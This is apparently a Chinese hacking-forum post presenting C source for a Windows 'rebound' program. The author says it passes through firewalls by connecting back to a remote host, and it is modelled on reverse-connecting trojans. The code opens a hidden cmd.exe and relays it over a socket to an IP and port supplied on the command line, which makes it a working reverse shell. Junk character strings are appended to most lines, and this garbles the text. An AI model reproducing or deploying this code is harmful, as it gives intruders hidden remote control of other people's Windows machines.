这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 J@=!w[v+
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/* ============================== {X{01j};8
Rebound port in Windows NT %Z-Tb OX
By wind,2006/7 Yj|c+&Ng
===============================*/ &lO Xi?&"
#include D3,t6\m
#include LR
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#pragma comment(lib,"wsock32.lib") s>[vT?
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void OutputShell(); BV_a-\Sa=
SOCKET sClient; 0TuNA\Ug+
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8'
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void main(int argc,char **argv) N^@%qUvT]
{ ur,V>J<5A
WSADATA stWsaData; gK] T}
int nRet; 'Q^G6'(SaK
SOCKADDR_IN stSaiClient,stSaiServer; \oD=X}UQw(
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if(argc != 3) #,Fx@3y\a
{ AZBY, :>D
printf("Useage:\n\rRebound DestIP DestPort\n"); ]G$!/vXP
return; ;NvhL|R
} C/grrw
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WSAStartup(MAKEWORD(2,2),&stWsaData); OP\^c
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tPMgZ
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stSaiClient.sin_family = AF_INET; 8.
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stSaiClient.sin_port = htons(0); btkMY<o7
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); EHE6-^F
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) -f
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{ 8k*k
printf("Bind Socket Failed!\n"); ]c~ rPi
return; n^I|}u\
} 'h+4zvI"8
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stSaiServer.sin_family = AF_INET; )2*|WHO
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0(.R?1*:Rf
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .5$V7t.t$\
N-_| %C-.
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) g*\v}6
h
{ pB{ f-M:D
printf("Connect Error!"); b_"V%<I
return; |<5J
} ~T{d9yNW1
OutputShell(); UVvt&=+4
} _s=Pk[e
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void OutputShell() YpbdScz
{ ,m_&eF
char szBuff[1024]; &Funao>
SECURITY_ATTRIBUTES stSecurityAttributes; ,YzC)(-
OSVERSIONINFO stOsversionInfo; :5qqu{GL
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;
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STARTUPINFO stStartupInfo; ^AC+nko*
char *szShell; lj% ;d'
PROCESS_INFORMATION stProcessInformation; [s&
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unsigned long lBytesRead; \ &|w;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); q@=#`74 6e
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !IrKou)/_
stSecurityAttributes.lpSecurityDescriptor = 0; 5juCeG+Z
stSecurityAttributes.bInheritHandle = TRUE; sC'A_ -'
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); u9[w~U#
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); |Z +E(F
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~wQ WWRk
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bB[*\
stStartupInfo.wShowWindow = SW_HIDE; vU=k8
stStartupInfo.hStdInput = hReadPipe; 7dL=E"WL
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; p>hCh5
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GetVersionEx(&stOsversionInfo); e?'k[ES^
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switch(stOsversionInfo.dwPlatformId) -2mOgv
{ F$pd]F!#
case 1: & m ";D
szShell = "command.com"; -O,O<tOm
break; P#'DG W&W0
default: \6PIw-)
szShell = "cmd.exe"; g\mrRZ/?
break; W,eKQV<j
} M}RFFg
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7G #e~,M5
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send(sClient,szMsg,77,0); c^/?VmCQ}
while(1) nV6g]#~@
{ g960;waz3
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ri_6wbPp
if(lBytesRead) /Gu2@m[r
{ 0GLB3I >
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); b`%e{99\
send(sClient,szBuff,lBytesRead,0); za 4B+&JJ
} 7QRvl6cv
else 4Fht(B|
{ !wufoK
lBytesRead=recv(sClient,szBuff,1024,0); "VOWV3Z
if(lBytesRead<=0) break; '%/u103{e
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); */m~m?
} 2nz'/G
} Q,+*u%/u
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return; sA7K ;J})
}